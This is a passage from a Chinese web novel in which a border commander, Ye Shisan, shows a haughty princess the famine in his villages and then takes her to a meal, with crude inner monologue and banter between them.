叶十三摇摇头,出了签房大院,才从马成手中接过马缰,没等马成搭手虚扶,自个飞身就上了马背。
“不错啊!”
香香郡主撇撇嘴,又道:“还是吃点苦好,这短短时间,都学会骑马了?”
老子会的还多呢!
你知道个锤子。
叶十三肚里骂了一句,摆手挥退了一众探马,独个带着香香郡主去走访民户。
一路无语,直到半个时辰之后,来到一片棚户区域。
“这是马厩还是羊圈?”
香香郡主马鞭指着几处低矮破烂的房屋,满眼都是好奇。
蠢货,这是老百姓的家。
今天,老子就好好让你这个胸大无脑的傻大妞见识见识人间烟火。
如此一想,叶十三霎时就换上了一副和蔼的面孔。
“郡主如此体恤民情,依末将看,午饭就在边民家吃了?”
“好啊!”
香香郡主立刻两眼放光,惊喜道:“你这不挺上进的嘛!”
“不过!”
香香郡主一只手指,戳在腮边偏着脑袋想了一下,又道:“可不能铺张,不可给边民造成负担,随便准备点饭食就可,牛羊肉就免了,几样青菜就足矣。”
去你娘的!
还几样青菜就足矣?
就你这傻透心的玩意儿,知道青菜有多金贵吗?
萝卜干和冻白菜帮子,都是这地方不可多得的菜蔬,还青菜?
叶十三肚里可是骂开了锅,但脸上依然神情自若,娓娓说道:“郡主如此关爱百姓,末将更是深受感动,如果郡主在边民家中,不吃上一顿饭食,末将心头还真过意不去。”
“行了!”
香香郡主霎时笑颜如花,先前那种冷若冰霜的刻薄劲,此时已经荡然无存,盈盈笑道:“就依你,千户大人的安排,本郡主从命就是。”
“说话算话,郡主金口,末将想,不可能出尔反尔吧?”
叶十三笑了,笑得有些诡异。
香香郡主剜了叶十三一眼,嗔怒道:“本郡主一言,也是驷马难追,千户大人放心好了。”
“郡主请!”
叶十三跳下马来,伸手就去拿香香郡主手中的马缰绳。
“不必了,前面带路就是,本郡主还没娇气到让人扶着下马的份上。”
心情大好的香香郡主,自己跳下马背,突然又道:“你的骑术,还真不错,看来这军中还真是锻炼人,当初听到你的战绩,打死我都不相信会有如此凶悍的边军。”
我们很熟吗?
叶十三又是一阵茫然,难道她对老子的过往,很了解的样子?
前身残存的记忆碎片,已经逐渐消失殆尽,这种似曾相识的感觉,逐渐又模糊了起来。
“走啊!”
香香郡主牵着马,用马鞭在叶十三眼前晃了晃,道:“你不走前面带路,何故站着发呆?”
第129章 你,带银子了吗?
“郡主请!”
叶十三索性拴了马,踩着行人趟开的积雪,把香香郡主带到一户村民家院门口。
“不是走访百姓吗?”
香香郡主望着低矮的毛草房,还有参差不齐的院子围墙,一脸惊讶地又道:“何故要先到羊圈?是不是要看看百姓饲养的牲畜是否兴旺?”
草!
想哪儿去了?
六畜兴旺?
这人都快饿死了,还六畜兴旺个蛋。
强忍着心头的不快,叶十三讪讪一笑。
“回郡主话,这就是边民所居之处。”
“啊……”
香香郡主将信将疑,狐疑地一瞥叶十三。
这混蛋,不会使坏吧?
眼下没有卫兵跟着,这混蛋要是心生歹意……
就在香香郡主心中一阵忐忑时,叶十三已经走向一处破烂的栅栏门前。
“当当当……”
“有人在吗?”
轻叩一阵摇摇欲坠的门框,叶十三高声喊叫着问话。
“老天爷啊!是千户大人?”
一个须发花白,乱如蓬草的脑袋,从茅草屋黑洞洞的门里探出头来,又惊叫道:“老婆子,真是千户大人到了。”
老者赶忙出了屋子,跌跌撞撞跑到栅栏样的院门口从里面打开了门。
这样的院门,只能放牛羊进入。
满是豁口的低矮围墙,还有这门板,已经破烂的就像栅栏一样的院门,就是锁着,是挡不住人的进入。
“小的胡八月,见过千户大人。”
院门一开,老者就趴到在地磕头见礼。
“你认得我?”
叶十三略感惊讶,随口就是一问。
“那天在签房大院,大人处置芦河湾村的员外何正,小的就在场围观,故而记得大人容貌。”
“哦!”
叶十三往一旁一站,指着身后离他一丈远的香香郡主,又道:“胡八月,这位是京都来的监军,香香郡主。”
京都?
监军?
还是个郡主?
胡八月仰起一张须发皆乱的脸,怔了一怔,又伏倒在地拜道:“屯田村军户胡八月,参见郡主大人。”
军户?
香香郡主一愣,随即就反应过来。
家中有人从伍吃粮人家,在当地就以军户划分。
“郡主就郡主,如何又叫郡主大人?”
香香郡主一脸不悦,被这等称呼弄得甚是别扭。
要得皇帝来了,还要叫个“圣上大人”不成?
“边民愚钝,还望郡主海涵。”
叶十三打了个圆场,示意香香郡主进院子到屋里再说。
然后,叶十三摆摆手,让胡八月起来说话。
“郡主请!”
叶十三快步走到茅屋门口,然后向旁边一站,伸手平举指向门内,又道:“郡主这边请。”
香香郡主略一迟疑,然后把胸一挺就迈腿跨向门槛。
就在香香郡主一脚迈入茅草屋的瞬间,一股屎尿混合味道迎面扑了过来。
条件反射之下,香香郡主一手捏着鼻子,迈入门槛的那只脚,也急急抽了回来。
没等站稳,就被跟在身后要进入屋子的叶十三,一个收势不住下,一肩膀给把香香郡主又从后面撞了进去。
“看着点!”
一头差点栽倒在屋内的香香郡主,气急败坏地转头就是一句。
“郡主息怒,末将走得是急了点。”
叶十三一脸紧张,哈了哈腰,赶忙向香香郡主致歉。
“身为千户,如此毛毛躁躁。”
香香郡主剜了叶十三一眼,要想出去外面,叶十三却站在门里正中挡着。
强忍着屋里令人作呕的难闻气味,香香郡主好一会才适应了视觉。
只见屋里的炕上,在一堆烂絮中,坐着一个袒胸露乳的妇女在奶孩子。
妇女头发蓬乱遮挡住半个脸看不清年龄。
两只乳房像是幼孩吃奶的缘故,被擦得白花花一片,周围胸脯和脖子处灰黑一片的垢甲,形成了鲜明对比。
一个颤颤巍巍的老妇人,顶着一头乱蓬蓬的白发从里间出来,手中的木盘里端着几只黑得发亮的窝头。
“老头子,千户大人来了,咱该好好感谢感谢人家。”
老妇人说着话,一抬头就看到屋里站着的叶十三和香香郡主。
“二位是?”
老妇人一阵紧张,手中的木盘差点掉在地上。
被叶十三的背后挡着进不了屋的胡八月,急得在外面高喊道:“老婆子,快给郡主大人和千户大人磕头。”
话音一落,老妇人手中端着的木盘,最终还是掉在了地上。
几只乌黑发亮的窝头,霎时就滚落一地。
“民妇见过郡主大人,见过千户大人。”
“老人家,不必多礼,快快起来说话。”
叶十三一伸手,把老妇人扶了起来,然后又弯下腰去,把滚落在地的窝头,一个个给捡了起来。
“嗯,味道不错!”
叶十三已经把一只窝头,放在嘴边啃了一口,边嚼得满口掉渣,边说道:“这豆料总比野菜干好吃多了,怎么说它也是五谷,让鞑子的战马吃了可惜。”
这黑不溜秋的石头疙瘩,难道是窝头?
香香郡主看到叶十三的吃相,顿时被惊得合不拢嘴来。
“多亏了千户大人劫了鞑子的马场,抢了豆料给大家解饥荒,不然又要被饿死多少人啊!”
老妇人说着,拿一只同样乌黑发亮的袖口,擦起了眼角挂着的眼屎。
“千户大人就是草民的恩人呐,二牛挣的那一份军粮,小的两口子不敢吃啊,留给儿媳喂孙娃子,娃儿没奶水吃可不行啊!”
从门口跻身进来的胡八月,用袖口擦了擦屋子里的一条凳子,放在香香郡主面前说道:“请郡主坐,小的这就去烧糊糊,千户大人都饿了。”
这一幕,香香郡主被震惊不小。
本来准备了一肚子的慰问之词,但这时候,香香郡主却一句话都说不出来。
“郡主,请恕末将失礼!”
就在这个时候,叶十三把手心里的窝头渣也吃了个干净,又拿起一只窝头,伸向香香郡主面前道:“末将昨夜回来到现在,还没吃一口饭,居然忘了让郡主先吃,真是失礼至极。”
“啊……”
香香郡主猝不及防之下,被惊得失声叫了出来,赶忙摆手急道:“本郡主也是随口一说,早饭吃得有点撑,怕是今日再吃不下东西了的。”
“您不是饿了吗?”
叶十三一脸认真,伸着手又道:“郡主体恤百姓疾苦,不忍心吃百姓的活命口粮,末将真是深受感动。”
“叶千户谦虚了!”
香香郡主心头一阵慌乱,急忙摆手又道:“既然你饿了,本郡主的一份,也给你吃了吧!”
“末将谢过郡主赐食之恩。”
叶十三把手缩回来,三下五除二,就把那只窝头吞进肚里。
“二位大人稍后,小的这就去给大人们烧汤,光吃窝头容易在肚中嗝气。”
说着,胡八月从墙上取下一串挂着的野菜,和老妇人一起进了隔间。
香香郡主看到,那串晒干了的野菜,就和枯草树叶没什么区别。
“你,带银子了吗?”
香香郡主胳膊一碰叶十三,低声就是一问。
第130章 你真是镇北王的人?
银子?
叶十三一怔。
“你倒是带没带呀?”
香香郡主一脸焦急,推了叶十三一把又道:“本郡主出门从来不带银子,你身上带了吗?”
“哦!”
叶十三一脸茫然,怔怔地望着香香郡主那张五官精致的脸发呆。
“问你话呢?”
香香郡主又推了叶十三一把,道:“借我点。”
“借多少?”
叶十三回过神来,也是一问。
“十两八两的,三五十两都成。”
说着,香香郡主把一只手,手心朝上伸在叶十三面前。
草!
这傻大妞算是有点仁心,还不算太操蛋。
叶十三伸手在怀里摸了半天,这才摸出一把碎银来,看数量,应该有六七两之多。
“才这么点啊?”
香香郡主眼睛瞪了个老圆,紧盯着叶十三放入她手中的那些碎银子,惊讶道:“就这点银子,能做何事?”
叶十三咧咧嘴,笑道:“这些银子,够他一家几口人买十几袋糙米的了,这十几袋糙米,要是烧糊糊的话,够吃三两个月。”
香香郡主闻言,立刻沉默不语。
片刻后,缓缓转身,走到炕沿前,把手中的那些碎银,放在奶着幼孩的女人面前。
“啊啊啊……”
看到银子,被一头乱发遮住了大半个脸的女人,赶快把怀里吃着奶的幼孩放下,然后转过身子跪在炕上,晃着两只吊得就像丝瓜一样的乳房,对香香郡主连连磕头。
“啊啊……”
女人磕了几下头,直起身子望着炕沿前站着的香香郡主,又是双手合十连连表示感谢。
哑巴?
香香郡主心头一震,瞥了叶十三一眼,逃命一样地就离开了胡八月的家。
“胡八月,郡主还有公务,我等就不打搅了。”
叶十三望着香香郡主夺门而出时的慌乱,不由得嘴角一拧笑了。
在隔着帘子向隔间里的老两口道别一声,也就匆匆离开了胡八月家。
此时,香香郡主已经来到拴马的地方,一只手按着起伏不定的胸口,站在那里大张口喘着粗气。
二人解开马缰牵在手里,却没有翻身上马,而是牵着马在村里信步走着。
“那个女人,居然不知羞耻,当着外人的面,竟然还敞开着衣襟。”
半天不语的香香郡主,目光看向叶十三,突然就是一句。
草!
这就被震感到了?
这才哪儿跟哪儿啊!
叶十三肚里一阵冷笑,瞥了香香郡主一眼,道:“和我娘在一起那个蔡一,郡主应该看到了吧?”
“嗯!”
香香郡主点点头,道:“昨天还不是端了一盆子雪,跟着你身后来给本郡主要搓脚那个?”
“没错!是她。”
叶十三抬头看向天空,缓缓又道:“就在一月前,她和一个姑娘,央求末将给她们一口饭吃,条件就是可以给末将做任何事,包括夜里暖被窝。”
“而她们,虽说是妇人之名,但都是实际上,都是未曾在夫家圆过房的女子。”
叶十三又补充一句。
“啊?”
此言一出,香香郡主霎时就被惊呆,愣神片刻,转过头来骂道:“呸!你这不要脸的东西,就仗着手里有一口吃的,居然要挟那些女人……”
“呵呵!”
看到香香郡主瞬间暴怒,叶十三无事人一样,苦笑一声继续说道:“在边城,一个饽饽,就能让一个女人脱下裤子,这种事情本就平常至极,没什么值得大惊小怪的。”
“放屁!”
香香郡主快走几步,转过头来拦住叶十三,然后指头指向叶十三的鼻尖,暴怒道:“饿死事小,失节事大。你的圣贤书,真读到狗肚子里去了不成?”
叶十三依旧面带微笑,道:“这话,你去给那些饥民去说,给那些屡次进犯我土,烧杀抢掠的元蒙贼子去说。”
“你……”
看着叶十三从自己身边侧身而过,香香郡主冲着叶十三的背影,“呸”一声就唾了一口。
叶十三依然没有回头,慢慢走着,缓缓又道:“在我管辖的七个村子,像胡八月家这种境地的家户不少,比他家还惨的,也大有人在。”
“你真的劫过鞑子的马场?”
紧赶了上来的香香郡主,怒气冲冲地又是一问。
“鞑子马场,有何劫不得?”
叶十三昂首走着,淡淡又道:“我不但劫过鞑子的马场,抢过鞑子喂马的豆料给村民活命。”
“我还抢过他们的牧场和牛羊,让兵士们不至于断炊逃跑。”
“我还从鞑子手里,抢回一个从京都来的郡主。”
“可我不知道,被我从鞑子手里抢回来的这个郡主,她能为边民、能为守土的戍边将士们做些什么?”
叶十三不温不火,一口气讲了三件他曾经干过的抢劫。
他是没看到,跟在他身后的香香郡主,此时浑身一阵战栗。
“你可知道?”
“我还坑过周敬堂八万两银子,那是我派人从他的四通钱庄,偷出来被质押的地契,从而造成钱庄的违约。”
“我又拿周敬堂指使管家向鞑子贩卖铁器的罪证,向他又讹了十万两银子,而没把那些通敌的罪证交给军部。”
“周敬堂在西河镇的货栈、粮行,都被我查抄没收充了军费。”
“郡主大人,小的岂不是罪该万死?”
叶十三学着胡八月的话,转过头来向香香郡主一问。
身后跟着的香香郡主,已经停了脚步,站在七八步外被惊得目瞪口呆。
叶十三把那些不为人知的秘密,却毫不保留地说与香香郡主知晓。
香香郡主惊愣过后,一张粉脸严霜遍布,目光冷冷看向叶十三,厉声道:“你为何不把周敬堂涉嫌通敌的罪证交给军部?你居然为了向他讹一笔银子,不顾我大夏律法而隐瞒包庇?”
“哈哈哈……”
叶十三突然弯下腰来大笑不止,等笑够了后,这才站直起身子又道:“郡主让末将把那些罪证交给军部?”
“你身为千户,食君之禄,难道不知这是徇私枉法吗?”
香香郡主陡然变脸,一双眼睛红得就要喷火。
“徇私枉法?”
叶十三夸张地点点头,道:“没错,仅凭那些贩卖铁器和盐巴给敌人的证据,若是没有你们的护佑,他周敬堂有几颗脑袋够砍?”
“周敬堂为非作歹,祸害边城多年,如果朝中没有你们这些靠山,他有几个胆子如此猖狂?”
叶十三目光冷冷,与香香郡主愤怒得要喷火的目光隔空对视着。
良久,香香郡主把脸一转,躲开叶十三的目光,平静说道:“你是有点长进,但还是幼稚极了。”
“呵呵!”
叶十三冷笑一声,轻蔑说道:“我宁愿变成我妹妹那样的瞎子,也不愿看到这人间的丑恶。”
“可你不是瞎子!”
香香郡主嘴角一扬,口吻更是轻蔑地说道:“朝上那些饱学之士都改变不了的事,就是九五之尊的天子,也照样改变不了,你一个奴籍,想改变什么?”
“那我就杀,杀到我死去为止。”
叶十三咬着牙,狠狠回了香香郡主一句。
“呸呸呸!”
香香郡主向地上连唾三口,急道:“不可说死,永远不要。”
说完,香香郡主一手按着起伏不定的胸口,闭着眼睛极力使自己冷静一下。
二人继续向前牵着马走着,一路无语。
在走到前面有行人出现的时候,香香郡主停下脚步,低声问道:“你,真是镇北王的人?”
第131章 饿死你得了
“镇北王是谁?”
叶十三装傻充愣,又是一句一头雾水的反问。
“难道……”
香香郡主一怔,不可置信地望向叶十三。
“你身为边军千户,领兵一方,居然不知道镇北王?”
“回郡主话!”
叶十三神情镇定下来,淡淡说道:“一个充军的奴籍,没资格知道谁是谁?”
说完,叶十三把脸一转,盯着香香郡主的眼睛,道:“你又是谁?”
“我?”
香香郡主懵了,迎着叶十三的目光,面色一寒,冷声道:“你真什么都不记得了?”
“记得什么?”
“你?”
“我什么我?”
“好吧!”
香香郡主吃了一瘪,愤愤转身,跨上马背后扬鞭就疾驰而去。
望着香香郡主远去的背影,叶十三面上一片迷茫和痛苦。
“她真是郑香逸?”
“她爹郑岳嵩,是新册封的肃王?”
“香香郡主?”
“管她是谁?”
“挡老子的道,照砍不误!”
叶十三自语半天,冷着脸翻身上马,一路追了过去。
待叶十三到了签房大院,香香郡主已经冷着一张脸,坐在燃着木炭的火盆旁边举着双手烤火。
时值午时,一排军灶正煮着饭。
“大人,您回来了?”
徐老六在签房门口,迎着叶十三,然后紧张地一瞥房门。
“里边那位,火气不小。”
徐老六压低了声音,生怕里面烤火的香香郡主听到。
“看来是饿了,催开饭呢!”
徐老六一脸恓惶,低声又是一句。
“吃个屁!”
叶十三眼睛一瞪,差点就给徐老六一马鞭。
徐老六一脸苦笑,望着叶十三不再作声。
看到叶十三回来,吴六子和马成围了上来。
“禀报大人,探马已经放了出去,探查范围扩大了近百里区域。
吴六子第一件事,就是禀报他分内的差事。
“嗯!”
叶十三点点头,向马成道:“探马无法按时吃饭,即刻起,沙窝地那边另立小灶,从军户中找一个手脚麻利之人负责做饭。”
“大人,沙窝地离营房不远,何必如此麻烦?”
“营房主休息,沙窝地又离这边村子也不远,来回传讯方便,把屋子收拾好了,作领取干粮之用。”
如此一来,探马传讯,就不会过多的浪费时间。
突然,叶十三想到了何秀儿。
郑一刀眼下训练兵马,就近吃大灶,何秀儿正好闲着,去沙窝地做饭,还可领一份粮饷报酬。
好了,就这么办。
叶十三目光看向马成,道:“你带几个田兵去沙窝里收拾,做饭的人我来安排。”
回到签房,一眼就看到火盆后面坐着香香郡主,正望着一碗茶水发呆。
田兵们喝茶的碗,都是粗糙的黑釉碗,只是比吃饭的海碗小了一圈而已。
用惯了精瓷细杯的香香郡主,看到茶碗边沿不但有许多大大小小的豁口,而且豁口旁边积了不少的茶垢。
这种黑釉碗,都是带着半指宽的白边。
那些乌黑的茶垢,在白色的碗沿上很是显眼。
“饿了?”
叶十三立在香香郡主面前,面无表情的问了一句。
香香郡主点点头,紧闭着嘴硬是没吐一个字。
饿死你得了!
就你这样没心没肺,愚蠢至极的冷血玩意儿,也配在老子面前喊饿?
叶十三肚里狠骂一阵,微微扬起下巴,淡淡说道:“跟我走,有饭吃。”
说完,叶十三转身就往外走,走到签房外,这又提高了声调说道:“郡主请移步,末将带郡主去用膳。”
签房里的香香郡主,美眸一亮,犹豫片刻,这才站了起来扶了扶头盔,绕过火盆就走了出来。
看到香香郡主出来,叶十三嘴角浮起一丝讥笑。
“这都开饭时候了?”
香香郡主望着签房大院一侧,临时搭起来的席棚下一溜正冒着热气的锅灶。
十来个火头军,正抡着大铲在锅灶旁忙乎着,一个个汗流浃背的很是卖力。
火头军身后的条桌上,摆着已经蒸好了的干饭,那些糙米中加着豆料的干饭,正冒着热气。
就吃这?
香香郡主耸耸鼻子,向叶十三投去一瞥。
“郡主,这边请!”
叶十三一指签房大院的院门,自己带头走了出去。
香香郡主环视四周一眼,然后把视线转移到叶十三的背影,抬脚就跟了出去。
到了签房大院外面,叶十三并没有准备骑马,而是拐上了一条小道。
“郡主,请走这边。”
说完,叶十三头也没回,自顾自的向前走着。
“我说千户大人,你这是要带本郡主去哪里?”
心里没底的香香郡主,生怕叶十三把她又带到胡八月那样的村民家里去吃饭。
“走吧!”
叶十三头也没转一下,淡淡又道:“到地方,郡主不就知道了。”
混蛋!
要是捉弄本郡主,叫你好看!
要是还是那些狗都不吃的东西拿给本郡主,回去让你混蛋吃马粪不可。
敢耍我?
你死定了!
香香郡主面上神情如故,但肚里已经把叶十三的祖宗十八代,都差点翻出来问候一遍。
叶十三七拐八拐,最后在一家铁匠铺前停了下来。
香香郡主打量了一番周围,只见铁匠铺前面的路,还比较宽敞,周围有豆腐坊这些,就像个坐落于村子里面的小街一样。
还算你这混蛋识相,这是要请姑奶奶我下馆子了?
好吧!
穷乡僻壤的,有馆子就不错了,起码饭食是人吃的东西。
正在香香郡主心头一喜的时候,叶十三转过头来,又道:“跟着,别跑丢了。”
说完,叶十三转身拐进了铁匠铺侧面的一道门,径直去了铁匠铺的后院。
什么破地方?
开个馆子,还如此隐蔽?
香香郡主眉头一皱,跺了一下脚,但还是快步跟了进去。
到了后院的一排屋子前面,香香郡主这才发现,铁匠铺后院的这边,地上的积雪被打扫得干干净净。
就是屋子周围,也是被收拾得利利索索。
更要紧的是,香香郡主没闻到马粪的骚臭味,也没闻到男人们身上的那种汗臭味。
“拜托,别弄那些牛羊肉,最好是白米粥这些,有鸡肉的话,本郡主也不嫌弃。”
香香郡主暗暗祷告了一句。
“郡主请!”
就在香香郡主心中暗自嘀咕的时候,叶十三已经站在屋子门口,一手撩起洗得很干净的碎布拼凑而成的门帘,把香香郡主往屋子里让着。
“千户大人有心了!”
香香郡主浅浅一笑,露出两只好看的酒窝,昂起头来把胸一挺,倒背着双手,迈腿就往屋子里走。
“小心,头!”
叶十三的话还没落,“砰”的一声响。
屋子的木门框太低,带着头盔的香香郡主,额头就被撞在了门框上。
“哎呀!”
香香郡主一呲牙,慌乱地伸手扶住头盔,嗔怒道:“早点不说?”
说你蠢货活该笨死?
如此低矮的门框,你摆什么架子,挺着一对大奶子就往前蹿?
叶十三暗骂一句,嘴角一拧,急忙说道:“末将该死,请郡主恕末将失察之罪!”
“以后机灵点?”
好在戴着头盔,一手摸着额头的香香郡主又道:“如此毛糙,能干成何等大事?”
第132章 民妇见过郡主
“是,是。”
叶十三哈着腰,连连点头,满脸谦卑地说道:“郡主教诲的是,末将铭记在心。”
“哼!”
香香郡主这才转过头来,把视线投在屋内的陈设上。
这哪是馆子呀?
倒像是村里的家户!
就在这时,隔间的帘子被从里面挑了起来,走出一个衣衫虽旧,但洗得很整洁的女子走了出来。
“民妇见过大人。”
说着,女子侧腰向叶十三盈盈一礼。
“秀儿,快见过京都来的监军大人,香香郡主。”
叶十三目光看向何秀儿,提醒她该向来人问礼。
郡主?
还是个监军大人!
京都来的?
何秀儿一阵惊慌,赶忙就跪了下来。
“民妇见过郡主。”
面对何秀儿的问礼,香香郡主心头一阵疑惑。
秀儿?
难道这叶十三,在这边城还有亲戚不成?
正在香香郡主为此感到疑惑不解的时候,叶十三向何秀儿说道:“郡主吃不惯大灶的饭,你这边给整点可口的吃食。”
“民妇遵命!”
何秀儿从地上起来,怯生生望了郡主一眼,低声道:“郡主何等金贵,家中最好的,也就是些白面。”
“有白面就成,熬些粥,再烙些白面饼,有鸡蛋的话,炒两个更好。”
叶十三当然清楚这边的情况,就那些米面油,还是他给的。
“对了,先煮些茶水,让郡主喝了暖暖身子。”
叶十三又是一句。
低着头是何秀儿,盈盈一礼又道:“请郡主和千户大人稍后,民妇这就去做。”
香香郡主的一双美眸,一直盯着何秀儿进了里间,这才缓缓把视线又投在叶十三脸上。
此时的叶十三,身上丝毫没有丁点儿拘谨的样子,大刺刺往火盆旁边的一张椅子上一坐,低头就拨弄起眼前的牛粪火来。
虽然也是烧的牛粪,但何秀儿把散尽了烟后的火盆才端进屋里,如此一来,屋里就没有了烧牛粪的味道。
这混蛋!
倒像是在自己家中一样自在。
香香郡主的目光,就像审贼一样,紧盯着叶十三的每一个动作。
就在这个时候,何秀儿低头提着一只擦拭得很干净的茶壶出来。
待把手中的茶壶放在矮桌上后,又拿了两只同样被擦拭的干净小碗放下,然后提起茶壶,缓缓地向碗中注入茶水。
“叶千户是你家亲戚?”
突然,香香郡主冷不丁就向何秀儿问了一句。
“啊……”
何秀儿闻言一怔,一股茶水就倾倒在小碗外面。
“千户大人……不是……民妇……”
面对香香郡主的突然一问。何秀儿紧张得直接磕巴起来,连一句连贯的话都说不利索。
果然有问题。
香香郡主的脸都绿了,眉头一皱又道:“是就是,不是就不是,如何吞吞吐吐?”
“叶千户给过你饽饽吃?”
“有个叫蔡一的,你可认得?”
香香郡主咄咄逼人,向惊慌失措的何秀儿,接连就是发出灵魂三问。
“是的郡主,民妇和蔡一,都被千户大人收留,这才幸免被饿毙。”
提到蔡一,何秀儿这才知道面前这个郡主问话的意思,毫不犹豫地就说了实情。
“行了!”
已经听出味道的叶十三,懒洋洋瞥了香香郡主一眼,撇嘴又道:“肚子饿了,等着吃饭就是,哪来如此多的废话?”
“啊……”
这下,香香郡主更是吃惊不小。
这混蛋,居然一点尊卑礼数都不讲,还说她废话多。
香香郡主内心的怒火,一下子就被叶十三点燃了起来,正准备找一个恰当的理由来给叶十三施压。
斜瞥一眼的叶十三撇嘴又道:“鞑子屡次进犯,烧杀抢掠无恶不作,边民死伤时有发生,缺衣少食又饿毙不少,家母生性良善,央求我收留她们找些相应的活干,以便换取些酬劳用以活命,再是草芥妇孺,那也是一条人命啊!”
“好在边军退伍之卒郑一刀,为我铸刀有功,我便自作主张,为秀儿姑娘撮合了一门亲事,也好让这个苦命的女子有个衣食所依之处。”
原来是这样啊?
香香郡主长出了一口气,脸色也随即好看了许多。
脾性所致,香香郡主嘴上依然强硬,冷声道:“别把你标榜得如此良善,就你三番五次坑害周大人的那些,可是你亲口说与本郡主的。”
草!
这还让拿着老子的把柄了?
“听郡主这话的意思,是要打还是要罚?”
叶十三口气轻蔑,不屑地又是一瞥。
“你……”
“无耻!”
“本郡主先给你记着,到时候一起算。”
香香郡主狠瞪叶十三一眼,气呼呼转过脸去,不再理睬此时一脸赖皮样的叶十三。
挖眼,剁手,砍脑袋。
这可是香香郡主曾经发过的狠话。
而现在叶十三主动告知了他坑害周敬堂的那些事,香香郡主却丝毫没有问罪的丁点意思。
也许是饿得心慌,香香郡主一阵坐卧不安,一双美眸不时地瞥向隔间的门帘。
屋里陈设极其简陋,但被何秀儿擦拭得一尘不染,这等洁净,在边民家中却是极其少见。
再是挑剔刻薄的香香郡主,也欣然接受,自己拿起茶壶,接连喝了两碗茶水。
由此可见,这家的女主人,是个极其爱干净的人。
“饿了?”
叶十三似笑非笑,目光看向端着茶碗的香香郡主。
“难道你不饿?”
“我还真不饿,你不是亲眼看到了我在胡八月家,已经吃了两个黑面大饽饽。”
“快别提那一家了,让人倒胃口得很。”
“倒胃口好啊!”
半躺在椅子上的叶十三,支起身子说道:“那样可以省下一顿饭来。”
“哼!”
香香郡主说变脸就变脸,两条柳眉倒竖起来怒道:“省下几个馒头,好让你拿去找女人不是?”
草!
这叫什么话?
堂堂肃王府上的郡主,这样的话也能说得出来。
叶十三想到自己被饿肚子的事,气就不打一处来。
他心里明白,香香郡主那是故意的。
更可恨的是,她居然给了吴六子和李狗子二人各十两银子,算作是对营救她从鞑子营帐脱险的奖励。
而对他这个最为要紧的大功人物,却是提都没提半个字。
想到这,叶十三有种把香香郡主摁在地上,喂她一嘴马粪的冲动。
还矫情?
边军的伙食你还嫌弃上了?
就这,那都是老子拼了命才搞来的粮食。
能给你们这些尸位素餐的鸟人吃就不错了,还嫌弃上啦!
饥饿难耐的香香郡主,狠咽下一口唾液,一双美眸又望向叶十三。
“你去说说,整简单点,别做太多,剩菜剩饭倒掉也蛮可惜的。”
“噗……”
此言一出,叶十三刚把喝入嘴里的一口茶水,就喷了出来。
狂喷而出的茶水,霎时就淋了香香郡主的一脸。
还整简单点?
少整点?
就是剩菜剩饭,哪有倒掉的时候?
这蠢货,真是蠢得透心。
“呀!”
“你找死啊你?”
“破嘴漏了你?”
香香郡主一下子蹦了起来,两只手急得在脸上一阵乱擦。
肚里差点被笑抽筋的叶十三,也慌忙站了起来,伸过两只大手,一个劲地拍打着香香郡主软甲上的茶水。
第133章 银子还有吗?借我点
“我看你是诚心的!”
香香郡主急得快要哭了,又被叶十三的两只大手,在胸前一阵乱拍打。
“叶十三,你罪责大了!”
脸都差点被气青了的香香郡主,指着叶十三的鼻尖破口大骂。
“如此鲁莽成何体统?本郡主罚你一顿饭食,待会饭菜上桌,不准你吃。”
“好好!”
叶十三哈着腰,强忍着肚里爆棚的笑意,急忙说道:“末将不吃,末将全留给郡主您一人独享。”
“哼!”
羞怒上脸的香香郡主一跺脚,
坐了下来又道:“给本郡主斟茶。”
“遵命,末将遵命。”
叶十三拿过茶壶,向香香郡主面前的茶碗里,斟了满满一碗茶水。
“浅点,满得让人如何端杯?”
望着溢出碗口的茶水,香香郡主又是一声叫喊。
老子就是诚心的!
你能把老子如何?
别在老子面前摆出一副高高在上的样子,饿你三天三夜,给你一个馒头,你照样给男人脱裤子。
什么饿死事小,失节事大!
屁!
都她娘的扯淡。
老子曾经的翩翩公子,被贬奴籍充军后,不照样为了一碗活命的稀粥,在这苦寒之地捡狼粪?
要不是为了让老子活着,贤淑德惠的家母,能甘心忍受你们这些鸟人的欺辱?
老子的妹妹,眼睛是瞎了,为了她被充军的哥哥不被惩罚,默默地忍受着你们冷言冷语的嘲讽。
为此,她和家母,还差一点被伍长何虎那个两脚畜生给糟蹋。
想起这些,叶十三眼里,不由得寒芒一闪。
也许是香香郡主察觉到了什么不对?
“瞧瞧,说你两句,这还不乐意了?”
剜了叶十三一眼,香香郡主端起茶碗,侧着脸就喝起茶来,不再和叶十三的目光相对。
就在这时候,隔间的门帘被从里面挑起,然后挂在墙侧的一根木橛上。
何秀儿端了一只木盘从隔间款款走了出来。
木盘还没搁在桌上,香香郡主就迫不及待地伸手去接盘子中的碗。
“郡主不可,小心烫手。”
何秀儿说着,就把木盘搁在桌沿上,然后把木盘中的两只大碗拿出来在桌上摆好。
烙得油香四溢的白面烙饼,表皮还滋滋冒着细密的油泡儿。
炒得金黄诱人的鸡蛋,更是让人垂涎欲滴。
“郡主,千户大人,您二位趁热先吃。”
何秀儿又把两双筷子,分了开来,在二人面前各摆了一付。
“饿了就吃。”
等何秀儿进了隔间,叶十三斜瞥香香郡主一眼,小声又道:“这鸡蛋,在边城的村子里,那可是稀缺之物。”
别说是鸡蛋了,就是烙饼用的菜油,还是从何家抄来的。
叶十三以犒劳郑一刀练兵辛苦的名义,特让徐老六分了一些过来。
这时的香香郡主,也顾不得
矜持,抓起筷子就左右开弓。
那吃相,真不敢恭维。
去而复返的何秀儿,又端了两大碗白米粥出来。
“郡主,您得慢点喝,热粥烫嘴。”
一瞥香香郡主的吃相,把何秀儿吓了一跳。
这是多久没吃饭了?
挨饿的滋味,何秀儿那是饱尝多次。
但一个尊贵无比的郡主如此吃法,还真让何秀儿这样的底层蝼蚁都吃惊不小。
何秀儿神情古怪地偷瞥叶十三一眼,方才的谈话,她在里间多少也捞入耳中几句。
按理说,叶十三再是个千户,但在一个郡主面前,身份那也是差的不是一截。
但听到叶十三对香香郡主恭敬有加的那些话时,何秀儿总觉得好像有些戏谑的味道。
而且,她的耳中,还捞到几句叶十三冷斥香香郡主的语言。
如此放肆,他不想活了?
以下犯上,而且对方还是个郡主,这不是伸着脖子给人家砍脑袋的吗?
难道……
越想心里就越乱的何秀儿,抓起一块油滋滋的烙饼递向叶十三面前。
“千户大人,训练辛苦,大灶上的饭食又粗糙,多吃些烙饼。”
正在大吃特吃的香香郡主,眼睛余光瞥到叶十三伸手接了何秀儿递过的烙饼,顿时美眸一翻,道:“本郡主说了,罚他一顿饿饭。”
尼玛!
吃你家的啊?
